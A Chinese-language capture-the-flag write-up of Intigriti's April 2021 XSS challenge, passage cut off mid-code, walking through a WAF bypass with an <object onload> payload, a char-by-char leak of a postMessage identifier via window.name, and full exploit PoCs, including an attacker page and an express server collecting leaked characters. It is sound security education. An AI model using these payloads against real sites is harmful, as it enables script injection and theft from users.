Intigriti史上最难XSS挑战Writeup

 

0x00 前言

Intigriti xxs challenge 0421 被官方自己被评价为目前为止 Intigriti史上最难的 XSS 挑战。在有效提交期内,全球参与的 hacker、CFTer、Bugbounty hunter 仅有15人成功通过挑战拿到flag。

该挑战由@terjanq根据他在漏洞挖掘中绕过的真实场景下的waf规则所编写。挑战地址:https://challenge-0421.intigriti.io/ ,以下要求:

  • 使用最新版的Firefox或者Chrome浏览器
  • 使用alert()弹窗flag{THIS_IS_THE_FLAG}
  • 利用此页面的xss漏洞
  • 不允许self-XSS 和 MiTM 攻击
  • 无需用户交互

本人也在提交期内对该挑战进行了尝试,对整个网页以及背后的waf逻辑进行了分析研究,但无奈菜狗一枚,未能在有效提交期内通关。通过赛后公布的poc,对个人思路和通关思路进行复盘,形成本WP,供共同学习交流。感兴趣的小伙伴也可以自行尝试,感受该XSS挑战的难度和乐趣!

 

0x01 代码分析

对题目网页进行分析,主要包括网页源码(index)和一个waf.html(https://challenge-0421.intigriti.io/waf.html)。

(index)

<!DOCTYPE html>
<html>
   <head>
      <title>Intigriti April Challenge</title>
      <meta charset="UTF-8">
      <meta name="twitter:card" content="summary_large_image">
      <meta name="twitter:site" content="@intigriti">
      <meta name="twitter:creator" content="@intigriti">
      <meta name="twitter:title" content="April XSS Challenge - Intigriti">
      <meta name="twitter:description" content="Find the XSS and WIN Intigriti swag.">
      <meta name="twitter:image" content="https://challenge-0421.intigriti.io/share.jpg">
      <meta property="og:url" content="https://challenge-0421.intigriti.io" />
      <meta property="og:type" content="website" />
      <meta property="og:title" content="April XSS Challenge - Intigriti" />
      <meta property="og:description" content="Find the XSS and WIN Intigriti swag." />
      <meta property="og:image" content="https://challenge-0421.intigriti.io/share.jpg" />
      <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;700&display=swap" rel="stylesheet">
      <link rel="stylesheet" type="text/css" href="./style.css" />
      <meta http-equiv="content-security-policy" content="script-src 'unsafe-inline';">
   </head>
   <body>
      <section id="wrapper">
      <section id="rules">
      <div class="card-container error" id="error-container">
        <div class="card-content" id="error-content">
            Error: something went wrong. Please try again!
        </div>
      </div>
      <div id="challenge-container" class="card-container">
         <div class="card-header">
           <img class="card-avatar" src="./terjanq.png"/>
           Intigriti's 0421 XSS challenge - by <a target="_blank" href="https://twitter.com/terjanq">@terjanq</a></span></div>
         <div id="challenge-info" class="card-content">
            <p>Find a way to execute arbitrary javascript on this page and win Intigriti swag.</p>
            <b>Rules:</b>
            <ul>
               <li>This challenge runs from April 19 until April 25th, 11:59 PM CET.</li>
               <li>
                  Out of all correct submissions, we will draw <b>six</b> winners on Monday, April 26th:
                  <ul>
                     <li>Three randomly drawn correct submissions</li>
                     <li>Three best write-ups</li>
                  </ul>
               </li>
               <li>Every winner gets a €50 swag voucher for our <a href="https://swag.intigriti.com" target="_blank">swag shop</a></li>
               <li>The winners will be announced on our <a href="https://twitter.com/intigriti" target="_blank">Twitter profile</a>.</li>
               <li>For every 100 likes, we'll add a tip to <a href="https://go.intigriti.com/challenge-tips" target="_blank">announcement tweet</a>.</li>
            </ul>
            <b>The solution...</b>
            <ul>
               <li>Should work on the latest version of Firefox or Chrome</li>
               <li>Should <code>alert()</code> the following flag: <code id="flag">flag{THIS_IS_THE_FLAG}</code>.</li>
               <li>Should leverage a cross site scripting vulnerability on this page.</li>
               <li>Shouldn't be self-XSS or related to MiTM attacks</li>
               <li>Should not use any user interaction</li>
               <li>Should be reported at <a href="https://go.intigriti.com/submit-solution">go.intigriti.com/submit-solution</a></li>
            </ul>
          </div>
      </div>
      <iframe id="wafIframe" src="./waf.html" sandbox="allow-scripts" style="display:none"></iframe>
      <script>
        const wafIframe = document.getElementById('wafIframe').contentWindow;
        const identifier = getIdentifier();

        function getIdentifier() {
            const buf = new Uint32Array(2);
            crypto.getRandomValues(buf);
            return buf[0].toString(36) + buf[1].toString(36)
        }

        function htmlError(str, safe){
            const div = document.getElementById("error-content");
            const container = document.getElementById("error-container");
            container.style.display = "block";
            if(safe) div.innerHTML = str;
            else div.innerText = str;
            window.setTimeout(function(){
              div.innerHTML = "";
              container.style.display = "none";
            }, 10000);
        }

        function addError(str){
            wafIframe.postMessage({
                identifier,
                str
            }, '*');
        }

        window.addEventListener('message', e => {
            if(e.data.type === 'waf'){
                if(identifier !== e.data.identifier) throw /nice try/
                htmlError(e.data.str, e.data.safe)
            }
        });

        window.onload = () => {
            const error = (new URL(location)).searchParams.get('error');
            if(error !== null) addError(error);
        }

    </script>
   </body>
</html>

waf.html

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><script>

onmessage = e => {
    const identifier = e.data.identifier;
    e.source.postMessage({
        type:'waf',
        identifier,
        str: e.data.str,
        safe: (new WAF()).isSafe(e.data.str)
    },'*');
}

function WAF() {
    const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:'];
    const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']

    function decodeHTMLEntities(str) {
        var ta = document.createElement('textarea');
        ta.innerHTML = str;
        return ta.value;
    }

    function onlyASCII(str){
        return str.replace(/[^\x21-\x7e]/g,'');
    }

    function firstTag(str){
        return str.search(/<[a-z]+/i)
    }

    function firstOnHandler(str){
        return str.search(/on[a-z]{3,}/i)
    }

    function firstEqual(str){
        return str.search(/=/);
    }

    function hasDangerousOperators(str){
        return dangerous_operators.some(op=>str.includes(op));
    }

    function hasForbiddenWord(str){
        return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1);
    }

    this.isSafe = function(str) {
        let decoded = onlyASCII(decodeHTMLEntities(str));

        const first_tag = firstTag(decoded);
        if(first_tag === -1) return true;
        decoded = decoded.slice(first_tag);

        if(hasForbiddenWord(decoded)) return false;

        const first_on_handler = firstOnHandler(decoded);
        if(first_on_handler === -1) return true;
        decoded = decoded.slice(first_on_handler)

        const first_equal = firstEqual(decoded);
        if(first_equal === -1) return true;
        decoded = decoded.slice(first_equal+1);

        if(hasDangerousOperators(decoded)) return false;
        return true;
    }
}

</script></head><body></body></html>

代码量不大,运行逻辑也很清晰。在主页中可以看到,首先定义了一个随机值identifier:

可以在url中引入error参数进行有关输入,也能进行html injection:

输入值会通过postMessage传递给waf,该消息e.data.indentifier的值为先前生成的随机值,确保交互通信没有被拦截,e.data.str的值为我们的输入:

输入值经过waf的处理后,会对不安全的输入中的各种字符进行检查,经过处理后对e.data.safe打上值,认定输入是否是安全的。当safe:true时,通过htmlError()方法在页面上通过innerHTML innerText 显示有关错误信息,可以用于payload的触发。此外,错误信息会在10秒后被删除:

此外,该页面响应头还X-Frame-Options: DENY ,无法通过外部的<iframe>引用:

下面,对waf.html进行分析。waf 规则对一些特殊标签和字符进行了限制:

['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']

['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']

整个过程是对输入进行纯ascii码、onXXX事件、=以及包含限制标签和字符的检测。经过调试分析,规则允许注入onXXX 事件:

 

0x02 思路分析

在有效提交期内,Intigriti 先后总放出7条hits:

(4.19)First hint: find the objective!
(4.20)Time for another hint! Where to smuggle data?
(4.20)Time for another tip! One bite after another!
(4.20)Here’s an extra tip: ++ is also an assignment
(4.22)Let’s give another hint:”Behind a Greater Oracle there stands one great Identity” (leak it)
(4.23)Tipping time! Goal < object(ive)
(4.24)Another hint: you might need to unload a custom loop!

这里先卖个关子,先不对hits 背后隐藏线索进行解释。感兴趣的小伙伴可以自行尝试,看看能不能通关这个XSS挑战。

结合上面的代码分析,我有了以下思路:

1.寻找一个可以绕过waf 的payload
2.通过postMessage 构造合适的消息,达成触发xss的条件
3.突破identifier随机值的限制

首先考虑如何绕过waf。由于通过error参数值作为的输入需要经过waf的检测,通过前面的分析,waf对很多标签和字符进行了禁止,用于限制恶意代码的执行,可以说规则还是很严格的,很多常用XSS payload 构成方式都不能使用。' " ` 被禁止,所以JS字串形式无法使用,[] {} () = 被禁止,通过函数赋值的形式也无法使用。此外,X-Frame-Options: DENY的限制,使得我们无法通过<iframe>外部引用执行xss,所以思路转向能能够通过输入,在网页内部嵌入一个外部的恶意站点,用来触发xss。此外,我也发现了onXXX=事件可以被插入到输入中,并不被禁止。沿着这两个条件分析,进行了大量的测试,最终发现如下形式的payload可以绕过waf的检测。

<object data=XXXXXXX onload=xss></object>

这里使用了<object>标签(不在waf的禁止范围内),它用于引入一个外部资源:

尝试插入我的头像,成功:

<object data=https://p5.ssl.qhimg.com/sdm/90_90_100/t0125c3f3f3fc1b13fd.png onload=xss></object>

尝试插入一个外部网页,成功

<object data=https://attacker.com/xss-poc.html onload=xss></object>

下面,验证通过window.postMessage控制消息值,达到触发xss的条件。按照这个思路,验证self-xss可行性。可以看到当我们的输入经过waf处理后,e.data.type='waf' e.data.identifer='(事先生成的随机值)'' e.data.str='payload' e.data.safe='true'or 'false'

从前面的分析可以知道,只有safe=true时,构造的payload才能被赋值给div.innerHTML。结合上述条件,这里构造消息信息如下,传递时为e,即可绕过waf的过滤检测:

window.postMessage({
        type: 'waf',
        identifier: "tze8f445ssb7",
        str: '<img src=x onerror=alert("flag{THIS_IS_THE_FLAG}")>',
        safe: true
      }, '*')

通过postMessage触发xss的思路可行,仅在self-xss条件下可行,因为identifier的值是随机生成的,需要突破该限制。

截止目前,我的思路整理如下:

  • 绕过waf (构造形如<object data=XXXXXXX onload=xss></object>的payload可以bypass waf,同时onXXX=没有被禁止,可以加载外部页面 )
  • 通过postMessage触发xss(self-xss验证可行,可以通过外部页面发送消息)
  • 突破identifier随机值的限制

为了突破identifier随机值的限制,我首先想到的是能不能像SQLi 盲注那这样通过特定的反馈,将值一位一位的试出来。由于identifier是本站生成的,如何在跨站的条件下降该值泄露出来,是关键点的思路。此外,我还发现了一些有趣的点: window.neme="" 可能可以利用,通过特殊方式的将泄露出的字段写入top.name中。

为了能将identifier一位一位泄露出来,需要构造比较。它的构成只包含0-9a-z

那么如何判断每一位值是多少呢,这有由于禁止[],所以无法使用identifier[i]的形式来构造字串进行按位比较。不过我们可以利用以下的规律:

可以看到这里identifier="tze8f445ssb7" 第一位是t,当比较字符小于t时,均返回false,当比较字符为u时,返回true,由此我们可以判定第一位为t。保留t,继续构造第二位t?进行比较:

那么按照这个规律,构造循环进行比较,当每次返回true时,即可判断出当前位的值,同时还需要对前面确定的值保存,才能继续判断下一位。我的思路是通过特定的方法构造这个循环,并通过window.neme=""可以利用的特性,当一个中间的数据”寄存器”。

首先,为了推算identifier第一位,构造如下结构payload:

error=<object data=https://baidu.com/ onload=location.hash+/0/.source<identifier&&window.name++></object>#

这里,当location.hash+/0/.source<identifier'0'<'t'成立,然后&&window.name++ ,即window.name +1。通过onload事件重复这个过程,即可在一轮比较后,通过window.name的值-1,按照0-9a-z的顺序序号,即可推算出identifier第一位的值。这里需要注意,对& + 进行url编码,否则,在运行过程中会被截断,造成payload因不完整无法执行(&& --> %26%26 ++ --> %2b%2b),还需要额外添加~用来检测z

https://challenge-0421.intigriti.io/
?error=<object data=https://attacker.com/poc.html
onload=location.hash+/0/.source<identifier&&window.name++,
location.hash+/1/.source<identifier&&window.name++,
location.hash+/2/.source<identifier&&window.name++,
location.hash+/3/.source<identifier&&window.name++,
location.hash+/4/.source<identifier&&window.name++,
location.hash+/5/.source<identifier&&window.name++,
location.hash+/6/.source<identifier&&window.name++,
location.hash+/7/.source<identifier&&window.name++,
location.hash+/8/.source<identifier&&window.name++,
location.hash+/9/.source<identifier&&window.name++,
location.hash+/a/.source<identifier&&window.name++,
location.hash+/b/.source<identifier&&window.name++,
location.hash+/c/.source<identifier&&window.name++,
location.hash+/d/.source<identifier&&window.name++,
location.hash+/e/.source<identifier&&window.name++,
location.hash+/f/.source<identifier&&window.name++,
location.hash+/g/.source<identifier&&window.name++,
location.hash+/h/.source<identifier&&window.name++,
location.hash+/i/.source<identifier&&window.name++,
location.hash+/j/.source<identifier&&window.name++,
location.hash+/k/.source<identifier&&window.name++,
location.hash+/l/.source<identifier&&window.name++,
location.hash+/m/.source<identifier&&window.name++,
location.hash+/n/.source<identifier&&window.name++,
location.hash+/o/.source<identifier&&window.name++,
location.hash+/p/.source<identifier&&window.name++,
location.hash+/q/.source<identifier&&window.name++,
location.hash+/r/.source<identifier&&window.name++,
location.hash+/s/.source<identifier&&window.name++,
location.hash+/t/.source<identifier&&window.name++,
location.hash+/u/.source<identifier&&window.name++,
location.hash+/v/.source<identifier&&window.name++,
location.hash+/w/.source<identifier&&window.name++,
location.hash+/x/.source<identifier&&window.name++,
location.hash+/y/.source<identifier&&window.name++,
location.hash+/z/.source<identifier&&window.name++,
location.hash+/~/.source<identifier&&window.name++></object>#

可以看到,该payload成功定位到identifier的第一位值。现在需要构造循环,通过13次上述操作(长度为13位),将identifier的值全部泄露出来,每个循环开始前还需要将window.name归零。

当我们将外部POC页面嵌入题目页面后,尝试利用POC页面获取top.name来控制题目页面window.name的时候,发现跨域拦截:

那么,现在还需要突破跨域获取top.name的限制。经过大量的尝试,一直到提交期截止,也没能找到合适的方式,来捕获用于泄露identifierwindow.name。因为不重新加载窗口的情况下,直接读取跨源资源的window.name是不可能的。

通过对赛后POC的思路启发,这里利用了一个特别巧妙的方法。举个例子,当我们执行window.open("http://XXXX",66)时,就会弹出一个window.name='66'的窗口。但如果已经有一个窗口为66,就会执行重定向到该窗口而不是重新弹出。有了这个特性,可以通过一种“试”的方法,暴力测试我们想要获取的题目页面的window.name

这里使用了一个<iframe sanbox=...> 来调用window.open(),允许top导航变化,但会禁止弹出。

<iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>

同时,当测试出的window.name值与实际值一致时,防止真的重定向发生,设置一个无效的协议xxxx://no-trigger。这里进行一个简单的验证,例如打开一个window.name='6' 的题目页面,通过<objectpayload 将poc.html嵌入,poc.html首内包含测试window.name值的代码:

<script>
window.open("https://challenge-0421.intigriti.io/?error=<object data='https://xss-poc.***/poc.html'></object>",3)

function getTopName() {
  let i = 0;
  for (; i < 10; i++) {
    let res =  ( () => {
      let x;
      try {
        // shouldn't trigger new navigation
        x = xss.open('xss://xss', i);
        // this is for firefox
        if (x !== null) return 1;
        return;
      } catch (e) {}
    })();
    if (res) break;
  }
  return i;
}

topName = getTopName();
console.log("top_window.name"+topName);
</script>

当我们打开poc.html后,会弹出https://challenge-0421.intigriti.io/?error=<object data='https://attacker.com/poc.html,在新打开的题目页面,会嵌入https://xss-poc.***/poc.html,然后执行代码,测出题目页window.name值,也就是我们需要的top.name,这样便能突破window.name跨域获取的限制:

例如,结合前面的payload,成功获取identifier第一位对应的window.name值:

<body>
  <h1>xss poc</h1>
   <span>Leaked identifier: <code id=leakedIdentifier></code></span>
   <iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>
<script>
  window.open("https://challenge-0421.intigriti.io/?error=<object data=https://xss-poc.****/poc.html onload=location.hash%2B%2F0%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F1%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F2%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F3%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F4%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F5%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F6%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F7%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F8%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F9%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fa%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fb%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fc%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fd%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fe%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Ff%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fg%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fh%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fi%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fj%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fk%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fl%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fm%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fn%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fo%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fp%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fq%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fr%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fs%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Ft%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fu%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fv%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fw%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fx%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fy%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fz%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F%7E%2F.source%3Cidentifier%26%26window.name%2B%2B></object>#")
function getTopName() {
  let i = 0;
  for (; i < 40; i++) {
    let res =  ( () => {
      let x;
      try {
        // shouldn't trigger new navigation
        x = xss.open('xss://xss', i);
        // this is for firefox
        if (x !== null) return 1;
        return;
      } catch (e) {}
    })();
    if (res) break;
  }
  return i;
}

keywords = "0123456789abcdefghijklmnopqrstuvwxyz~";

function get_char(){
    topName = getTopName();
    char = keywords[topName-1];
    console.log("get_top_window.name: "+ topName);
    console.log("this_char: "+ char)
}
setTimeout(get_char,100);
</script>
</body>

结合前面可以通过window.name值的累加推算出identifier某位的字符,现在又可以通过外部页面获得top.name值。通过获得的top.name值找到对应的字符,保存在location.hash中,继续构造循环及比较下去,即可推算出identifier的所有值。为了构造这个循环,需要对重新不停的重新载入题目页面,完成每一次的identifier每一位的求解,这里对payload进行了改进,插入两个<object ...,通过加载一个空的Blob实现:

<object name=poc data=//attacker.com/poc.html></object>
<object name=xss src=//attacker.com/xss.html onload=XSS></object>

top.xss.location = URL.createObjectURL(new Blob([], { type: 'text/html'}));

当成功泄露出identifier值后,即可构造postMessage消息,实现xss

 

POC

综上,将所有的思路联合起来就能突破题目的各种限制:
1.<object绕过waf
2.泄露identifier随机值
3.构造postMessage 消息,触发xss

完整的POC如下:

<html>
<body>
    <span>Leaked identifier: <code id=leakedIdentifier></code></span>
    <iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>
<script>
    const keywords = "0123456789abcdefghijklmnopqrstuvwxyz~"
    const payload = keywords.split('').map(c =>       `location.hash+/${c}/.source</##/.source+identifier&&++top.name`
    ).join(',')
    const thisUrl = location.href.replace('http://', 'https://');
    const top_url = 'https://challenge-0421.intigriti.io/?error=' + encodeURIComponent(
        `<object style=width:100% name=x data=${thisUrl}></object><object data=` +
        `//${location.host}/empty.html name=lload onload=${payload}></object>`
    );

     if (top === window) {
        let startxss = confirm("Start XSS?");
        if(!startxss) throw /stopped/;
        name = 0;
        location = top_url + '##'
        throw /stop/
     }

    let lastValue = 0;
    let identifier = '';
    let stop = false;

    async function getTopName() {
        let i = 0;
        // it's just magic. tl;dr chrome and firefox work differently 
        // but this polyglot works for both;
        for (; i < keywords.length + 1; i++) {
            let res = await (async () => {
                let x;
                try {
                    // shouldn't trigger new navigation
                    x = xss.open('xxxx://no-trigger', i + lastValue);
                    // this is for firefox
                    if (x !== null) return 1;
                    return;
                } catch (e) {}
            })();
            if (res) break;
        }
        return i + lastValue;
    }

    async function watchForNameChange() {
        let topName = await getTopName();
        if (topName !== lastValue) {
            const newTopName = topName - lastValue;
            lastValue = topName;
            get_char(newTopName - 1);
        } else {
            setTimeout(watchForNameChange, 60);
        }
    }

    function oracleLoaded() {
        watchForNameChange();
    }

    function log(identifier) {
        leakedIdentifier.innerHTML = identifier;
        console.log(identifier);
    }

    function get_char(d) {
        let c = keywords[d]
        if (c === '~') {
            identifier = identifier.slice(0, -1) + keywords[keywords.search(identifier.slice(-1)) + 1];
            log(identifier);
            expxss(identifier);
            return;
        }
        identifier += c;
        log(identifier);
        top.location = top_url + '##' + identifier;
        top.lload.location = URL.createObjectURL(new Blob([
            '<script>onload=top.x.oracleLoaded<\/script>'
        ], {
            type: 'text/html'
        }));
    }

    function expxss(identifier) {
        stop = true;
        top.postMessage({
            type: 'waf',
            identifier,
            str: `<img src=x onerror=alert("flag{THIS_IS_THE_FLAG}")>`,
            safe: true
        }, '*')

    }
    onload = () => {
        setTimeout(watchForNameChange, 60);
    }
</script>
</body>
</html>

成功实现xss,通过挑战!

这里再对hits进行一个解释:

(4.19)First hint: find the objective!【 提示<object>
(4.20)Time for another hint! Where to smuggle data?【提示object data以及后面可以利用的locatino.hash
(4.20)Time for another tip! One bite after another!【提示需要一位一位的泄露identifier
(4.20)Here’s an extra tip: ++ is also an assignment 【提示可以利用++巧妙的跨站测算出identifier
(4.22)Let’s give another hint:”Behind a Greater Oracle there stands one great Identity” (leak it) 【提示构造比较的方式泄露identifier
(4.23)Tipping time! Goal < object(ive) 【提示利用<object标签,采用identifier<"str"的方式构造比较】
(4.24)Another hint: you might need to unload a custom loop! 【提示构造循环】

最后,再放一些利用其他方式的POC。
利用<img>:

var payload = `
<img srcset=//my_server/0 id=n0 alt=#>
<img srcset=//my_server/1 id=n1 alt=a>
<img srcset=//my_server/2 id=n2 alt=b>
<img srcset=//my_server/3 id=n3 alt=c>
<img srcset=//my_server/4 id=n4 alt=d>
<img srcset=//my_server/5 id=n5 alt=e>
<img srcset=//my_server/6 id=n6 alt=f>
<img srcset=//my_server/7 id=n7 alt=g>
<img srcset=//my_server/8 id=n8 alt=h>
<img srcset=//my_server/9 id=n9 alt=i>
<img srcset=//my_server/a id=n10 alt=j>
<img srcset=//my_server/b id=n11 alt=k>
<img srcset=//my_server/c id=n12 alt=l>
<img srcset=//my_server/d id=n13 alt=m>
<img srcset=//my_server/e id=n14 alt=n>
<img srcset=//my_server/f id=n15 alt=o>
<img srcset=//my_server/g id=n16 alt=p>
<img srcset=//my_server/h id=n17 alt=q>
<img srcset=//my_server/i id=n18 alt=r>
<img srcset=//my_server/j id=n19 alt=s>
<img srcset=//my_server/k id=n20 alt=t>
<img srcset=//my_server/l id=n21 alt=u>
<img srcset=//my_server/m id=n22 alt=v>
<img srcset=//my_server/n id=n23 alt=w>
<img srcset=//my_server/o id=n24 alt=x>
<img srcset=//my_server/p id=n25 alt=y>
<img srcset=//my_server/q id=n26 alt=z>
<img srcset=//my_server/r id=n27 alt=0>
<img srcset=//my_server/s id=n28>
<img srcset=//my_server/t id=n29>
<img srcset=//my_server/u id=n30>
<img srcset=//my_server/v id=n31>
<img srcset=//my_server/w id=n32>
<img srcset=//my_server/x id=n33>
<img srcset=//my_server/y id=n34>
<img srcset=//my_server/z id=n35>

<img id=lo srcset=//my_server/loop onerror=
n0.alt+identifier<location.hash+1?n0.src+++lo.src++:
n0.alt+identifier<location.hash+2?n1.src+++lo.src++:
n0.alt+identifier<location.hash+3?n2.src+++lo.src++:
n0.alt+identifier<location.hash+4?n3.src+++lo.src++:
n0.alt+identifier<location.hash+5?n4.src+++lo.src++:
n0.alt+identifier<location.hash+6?n5.src+++lo.src++:
n0.alt+identifier<location.hash+7?n6.src+++lo.src++:
n0.alt+identifier<location.hash+8?n7.src+++lo.src++:
n0.alt+identifier<location.hash+9?n8.src+++lo.src++:
n0.alt+identifier<location.hash+n1.alt?n9.src+++lo.src++:
n0.alt+identifier<location.hash+n2.alt?n10.src+++lo.src++:
n0.alt+identifier<location.hash+n3.alt?n11.src+++lo.src++:
n0.alt+identifier<location.hash+n4.alt?n12.src+++lo.src++:
n0.alt+identifier<location.hash+n5.alt?n13.src+++lo.src++:
n0.alt+identifier<location.hash+n6.alt?n14.src+++lo.src++:
n0.alt+identifier<location.hash+n7.alt?n15.src+++lo.src++:
n0.alt+identifier<location.hash+n8.alt?n16.src+++lo.src++:
n0.alt+identifier<location.hash+n9.alt?n17.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n18.src+++lo.src++:
n0.alt+identifier<location.hash+n11.alt?n19.src+++lo.src++:
n0.alt+identifier<location.hash+n12.alt?n20.src+++lo.src++:
n0.alt+identifier<location.hash+n13.alt?n21.src+++lo.src++:
n0.alt+identifier<location.hash+n14.alt?n22.src+++lo.src++:
n0.alt+identifier<location.hash+n15.alt?n23.src+++lo.src++:
n0.alt+identifier<location.hash+n16.alt?n24.src+++lo.src++:
n0.alt+identifier<location.hash+n17.alt?n25.src+++lo.src++:
n0.alt+identifier<location.hash+n18.alt?n26.src+++lo.src++:
n0.alt+identifier<location.hash+n19.alt?n27.src+++lo.src++:
n0.alt+identifier<location.hash+n20.alt?n28.src+++lo.src++:
n0.alt+identifier<location.hash+n21.alt?n29.src+++lo.src++:
n0.alt+identifier<location.hash+n22.alt?n30.src+++lo.src++:
n0.alt+identifier<location.hash+n23.alt?n31.src+++lo.src++:
n0.alt+identifier<location.hash+n24.alt?n32.src+++lo.src++:
n0.alt+identifier<location.hash+n25.alt?n33.src+++lo.src++:
n0.alt+identifier<location.hash+n26.alt?n34.src+++lo.src++:
n35.src+++lo.src++>`
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
  </head>
  <body>  
  </body>
  <script>
    var payload = // see above
    payload = encodeURIComponent(payload)

    var baseUrl = 'https://my_server'

    // reset first
    fetch(baseUrl + '/reset').then(() => {
      start()
    })

    async function start() {
      // assume identifier start with 1
      console.log('POC started')
      if (window.xssWindow) {
        window.xssWindow.close()
      }

      window.xssWindow = window.open(`https://challenge-0421.intigriti.io/?error=${payload}#1`, '_blank')

      polling()
    }

    function polling() {
      fetch(baseUrl + '/polling').then(res => res.text()).then((token) => {

        // guess fail, restart
        if (token === '1zz') {
          fetch(baseUrl + '/reset').then(() => {
            console.log('guess fail, restart')
            start()
          })
          return
        }

        if (token.length >= 10) {
          window.xssWindow.postMessage({
            type: 'waf',
            identifier: token,
            str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
            safe: true
          }, '*')
        }

        window.xssWindow.location = `https://challenge-0421.intigriti.io/?error=${payload}#${token}`

        // After POC finsihed, polling will timeout and got error message, I don't want to print the message
        if (token.length > 20) {
          return
        }

        console.log('token:', token)
        polling()
      })
    }
  </script>
</html>
var express = require('express')

const app = express()

app.use(express.static('public'));
app.use((req, res, next) => {
  res.set('Access-Control-Allow-Origin', '*');
  next()
})

const handlerDelay = 100
const loopDelay = 550

var initialData = {
  count: 0,
  token: '1',
  canStartLoop: false,
  loopStarted: false,
  canSendBack: false
}
var data = {...initialData}

app.get('/reset', (req, res) => {
  data = {...initialData}
  console.log('======reset=====')
  res.end('reset ok')
})

app.get('/polling', (req, res) => {
  function handle(req, res) {
    if (data.canSendBack) {
      data.canSendBack = false
      res.status(200)
      res.end(data.token)
      console.log('send back token:', data.token)

      if (data.token.length < 14) {
        setTimeout(() => {
          data.canStartLoop = true
        }, loopDelay)
      }
    } else {
      setTimeout(() => {
        handle(req, res)
      }, handlerDelay)
    }
  }

  handle(req, res)
})

app.get('/loop', (req, res) => {
  function handle(req, res) {
    if (data.canStartLoop) {
      data.canStartLoop = false
      res.status(500)
      res.end()
    } else {
      setTimeout(() => {
        handle(req, res)
      }, handlerDelay)
    }
  }

  handle(req, res)
})

app.get('/:char', (req, res) => {
  // already start stealing identifier
  if (req.params.char.length > 1) {
    res.end()
    return
  }
  console.log('char received', req.params.char)
  if (data.loopStarted) {
    data.token += req.params.char
    console.log('token:', data.token)
    data.canSendBack = true

    res.status(500)
    res.end()
    return 
  }

  // first round
  data.count++
  if (data.count === 36) {
    console.log('initial image loaded, start loop')
    data.count = 0
    data.loopStarted = true
    data.canStartLoop = true
  }
  res.status(500)
  res.end()
})

app.listen(5555, () => {
  console.log('5555')
})

另一个POC:

<!DOCTYPE html>
<html>
  <head>
    <link rel="icon" href="data:;base64,iVBORw0KGgo=" />
  </head>
  <body>
    <script>
      let currentIdentifier = "1";

      function getIdentifier() {
        return currentIdentifier;
      }

      async function setIdentifier(identifier) {
        console.log("CHANGE GUESS CALLED", identifier);
        if (identifier == currentIdentifier) return;
        checkWindow.location = `http://localhost:3000/opener.html?not`;
        await waitUntilWriteable(checkWindow);

        checkWindow.name = "" + identifier;
        checkWindow.location = `https://challenge-0421.intigriti.io/style.css`;
        currentIdentifier = "" + identifier;
        await waitForLocationChange(
          checkWindow,
          `https://challenge-0421.intigriti.io/style.css`
        );
      }

      async function waitForLocationChange(windowReference, location) {
        return new Promise((resolve) => {
          const handle = setInterval(() => {
            try {
              if (windowReference.location.href.includes(location)) {
                clearInterval(handle);
